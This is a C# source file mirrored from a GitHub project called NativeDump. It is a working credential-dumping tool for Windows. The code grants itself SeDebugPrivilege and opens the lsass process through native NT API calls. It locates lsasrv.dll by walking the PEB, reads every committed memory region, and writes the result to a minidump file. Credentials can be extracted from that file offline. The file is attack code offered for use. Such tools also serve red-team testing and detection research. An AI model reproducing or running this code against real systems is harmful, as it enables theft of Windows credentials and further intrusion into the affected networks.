mirror of
https://github.com/ricardojoserf/NativeDump
synced 2026-06-06 16:34:38 +00:00
277 lines
12 KiB
C#
277 lines
12 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Collections.Generic;
|
|
using System.Runtime.InteropServices;
|
|
using static NativeDump.Win32;
|
|
using static NativeDump.CreateFile;
|
|
|
|
namespace NativeDump
|
|
{
|
|
internal class Program
|
|
{
|
|
static void EnableDebugPrivileges()
|
|
{
|
|
IntPtr currentProcess = Process.GetCurrentProcess().Handle;
|
|
IntPtr tokenHandle = IntPtr.Zero;
|
|
try
|
|
{
|
|
uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ref tokenHandle);
|
|
if (ntstatus != 0)
|
|
{
|
|
Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS: 0x" + ntstatus.ToString("X"));
|
|
Environment.Exit(-1);
|
|
}
|
|
|
|
TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
|
|
{
|
|
PrivilegeCount = 1,
|
|
Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeValue(null, "SeDebugPrivilege", ref luid);
|
|
Attributes = 0x00000002
|
|
};
|
|
|
|
ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero);
|
|
if (ntstatus != 0)
|
|
{
|
|
Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x" + ntstatus.ToString("X") + ". Maybe you need to calculate the LowPart of the LUID using LookupPrivilegeValue");
|
|
Environment.Exit(-1);
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
if (tokenHandle != IntPtr.Zero)
|
|
{
|
|
NtClose(tokenHandle);
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address)
|
|
{
|
|
byte[] buff = new byte[8];
|
|
uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
|
|
if (ntstatus != 0)
|
|
{
|
|
Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
|
|
}
|
|
long value = BitConverter.ToInt64(buff, 0);
|
|
return (IntPtr)value;
|
|
}
|
|
|
|
|
|
public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address)
|
|
{
|
|
byte[] buff = new byte[256];
|
|
uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
|
|
if (ntstatus != 0)
|
|
{
|
|
Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
|
|
}
|
|
string unicode_str = "";
|
|
for (int i = 0; i < buff.Length - 1; i += 2)
|
|
{
|
|
if (buff[i] == 0 && buff[i + 1] == 0) { break; }
|
|
unicode_str += BitConverter.ToChar(buff, i);
|
|
}
|
|
return unicode_str;
|
|
}
|
|
|
|
|
|
public unsafe static IntPtr CustomGetModuleHandle(IntPtr hProcess, String dll_name)
|
|
{
|
|
uint process_basic_information_size = 48;
|
|
int peb_offset = 0x8;
|
|
int ldr_offset = 0x18;
|
|
int inInitializationOrderModuleList_offset = 0x30;
|
|
int flink_dllbase_offset = 0x20;
|
|
int flink_buffer_offset = 0x50;
|
|
// If 32-bit process these offsets change
|
|
if (IntPtr.Size == 4)
|
|
{
|
|
process_basic_information_size = 24;
|
|
peb_offset = 0x4;
|
|
ldr_offset = 0x0c;
|
|
inInitializationOrderModuleList_offset = 0x1c;
|
|
flink_dllbase_offset = 0x18;
|
|
flink_buffer_offset = 0x30;
|
|
}
|
|
|
|
// Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
|
|
byte[] pbi_byte_array = new byte[process_basic_information_size];
|
|
|
|
// Create a PROCESS_BASIC_INFORMATION structure in the byte array
|
|
IntPtr pbi_addr = IntPtr.Zero;
|
|
fixed (byte* p = pbi_byte_array)
|
|
{
|
|
pbi_addr = (IntPtr)p;
|
|
|
|
uint ntstatus = NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength);
|
|
if (ntstatus != 0)
|
|
{
|
|
Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
|
|
}
|
|
Console.WriteLine("[+] Process_Basic_Information Address: \t\t0x" + pbi_addr.ToString("X"));
|
|
}
|
|
|
|
// Get PEB Base Address
|
|
IntPtr peb_pointer = pbi_addr + peb_offset;
|
|
Console.WriteLine("[+] PEB Address Pointer:\t\t\t0x" + peb_pointer.ToString("X"));
|
|
IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
|
|
Console.WriteLine("[+] PEB Address:\t\t\t\t0x" + pebaddress.ToString("X"));
|
|
|
|
// Get Ldr
|
|
IntPtr ldr_pointer = pebaddress + ldr_offset;
|
|
IntPtr ldr_adress = ReadRemoteIntPtr(hProcess, ldr_pointer);
|
|
if (ldr_adress == IntPtr.Zero) {
|
|
Console.WriteLine("[-] PEB structure is not readable.");
|
|
Environment.Exit(0);
|
|
}
|
|
|
|
IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset;
|
|
Console.WriteLine("[+] InInitializationOrderModuleList:\t\t0x" + InInitializationOrderModuleList.ToString("X"));
|
|
IntPtr next_flink = ReadRemoteIntPtr(hProcess, InInitializationOrderModuleList);
|
|
|
|
IntPtr dll_base = (IntPtr)1337;
|
|
while (dll_base != IntPtr.Zero)
|
|
{
|
|
next_flink = next_flink - 0x10;
|
|
// Get DLL base address
|
|
dll_base = ReadRemoteIntPtr(hProcess, (next_flink + flink_dllbase_offset));
|
|
IntPtr buffer = ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_offset));
|
|
|
|
string base_dll_name = ReadRemoteWStr(hProcess, buffer);
|
|
|
|
next_flink = ReadRemoteIntPtr(hProcess, (next_flink + 0x10));
|
|
|
|
// Compare with DLL name we are searching
|
|
if (dll_name.ToLower() == base_dll_name.ToLower())
|
|
{
|
|
return dll_base;
|
|
}
|
|
}
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
|
|
static void Main(string[] args)
|
|
{
|
|
// Check binary is correctly compiled
|
|
if (!Environment.Is64BitProcess)
|
|
{
|
|
Console.WriteLine("[-] File must be compiled as 64-byte binary.");
|
|
Environment.Exit(-1);
|
|
}
|
|
|
|
// Get process name
|
|
string procname = "lsass";
|
|
|
|
//Get process PID
|
|
Process[] process_list = Process.GetProcessesByName(procname);
|
|
if (process_list.Length == 0)
|
|
{
|
|
Console.WriteLine("[-] Process " + procname + " not found.");
|
|
Environment.Exit(0);
|
|
}
|
|
int processPID = process_list[0].Id;
|
|
Console.WriteLine("[+] Process PID: \t\t\t\t" + processPID);
|
|
|
|
// Get SeDebugPrivilege
|
|
EnableDebugPrivileges();
|
|
|
|
// Get process handle with NtOpenProcess
|
|
IntPtr processHandle = IntPtr.Zero;
|
|
CLIENT_ID client_id = new CLIENT_ID();
|
|
client_id.UniqueProcess = (IntPtr)processPID;
|
|
client_id.UniqueThread = IntPtr.Zero;
|
|
OBJECT_ATTRIBUTES objAttr = new OBJECT_ATTRIBUTES();
|
|
uint ntstatus = NtOpenProcess(ref processHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, ref objAttr, ref client_id);
|
|
if (ntstatus != 0)
|
|
{
|
|
Console.WriteLine("[-] Error calling NtOpenProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
|
|
}
|
|
Console.WriteLine("[+] Process handle: \t\t\t\t" + processHandle);
|
|
|
|
// Loop the memory regions
|
|
long proc_max_address_l = (long)0x7FFFFFFEFFFF;
|
|
IntPtr mem_address = IntPtr.Zero;
|
|
byte[] memory_regions = { };
|
|
List<Memory64Info> mem64info_List = new List<Memory64Info>();
|
|
|
|
// Get lsasrv.dll information
|
|
IntPtr lsasrvdll_address = CustomGetModuleHandle(processHandle, "lsasrv.dll");
|
|
int lsasrvdll_size = 0;
|
|
bool bool_test = false;
|
|
|
|
while ((long)mem_address < proc_max_address_l)
|
|
{
|
|
// Populate MEMORY_BASIC_INFORMATION struct
|
|
MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();
|
|
ntstatus = NtQueryVirtualMemory(processHandle, (IntPtr)mem_address, MemoryBasicInformation, out mbi, 0x30, out _);
|
|
if (ntstatus != 0)
|
|
{
|
|
Console.WriteLine("[-] Error calling NtQueryVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
|
|
}
|
|
|
|
// If readable and commited --> Write memory region to a file
|
|
if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
|
|
{
|
|
// Add to Memory64Info list
|
|
Memory64Info mem64info = new Memory64Info();
|
|
mem64info.Address = mbi.BaseAddress;
|
|
mem64info.Size = mbi.RegionSize;
|
|
mem64info_List.Add(mem64info);
|
|
|
|
// Dump memory
|
|
byte[] buffer = new byte[(int)mbi.RegionSize];
|
|
ntstatus = NtReadVirtualMemory(processHandle, mbi.BaseAddress, buffer, (int)mbi.RegionSize, out _);
|
|
if (ntstatus != 0 && ntstatus != 0x8000000D)
|
|
{
|
|
Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
|
|
}
|
|
byte[] new_bytearray = new byte[memory_regions.Length + buffer.Length];
|
|
Buffer.BlockCopy(memory_regions, 0, new_bytearray, 0, memory_regions.Length);
|
|
Buffer.BlockCopy(buffer, 0, new_bytearray, memory_regions.Length, buffer.Length);
|
|
memory_regions = new_bytearray;
|
|
|
|
// Calculate size of lsasrv.dll region
|
|
if (mbi.BaseAddress == lsasrvdll_address)
|
|
{
|
|
bool_test = true;
|
|
}
|
|
if (bool_test == true)
|
|
{
|
|
if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address)
|
|
{
|
|
bool_test = false;
|
|
}
|
|
else
|
|
{
|
|
lsasrvdll_size += (int)mbi.RegionSize;
|
|
}
|
|
}
|
|
}
|
|
// Next memory region
|
|
mem_address = (IntPtr)((ulong)mem_address + (ulong)mbi.RegionSize);
|
|
}
|
|
|
|
// Get file name
|
|
string dumpfile = "proc_" + processPID + ".dmp";
|
|
if (args.Length > 0)
|
|
{
|
|
dumpfile = args[0];
|
|
}
|
|
|
|
// Generate Minidump file
|
|
Console.WriteLine("[+] Lsasrv.dll Address:\t\t\t\t0x" + lsasrvdll_address.ToString("X"));
|
|
Console.WriteLine("[+] Lsasrv.dll Size: \t\t\t\t0x" + lsasrvdll_size.ToString("X"));
|
|
CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpfile);
|
|
|
|
// Close process handle
|
|
ntstatus = NtClose(processHandle);
|
|
if (ntstatus != 0)
|
|
{
|
|
Console.WriteLine("[-] Error calling NtClose. NTSTATUS: 0x" + ntstatus.ToString("X"));
|
|
}
|
|
}
|
|
}
|
|
} |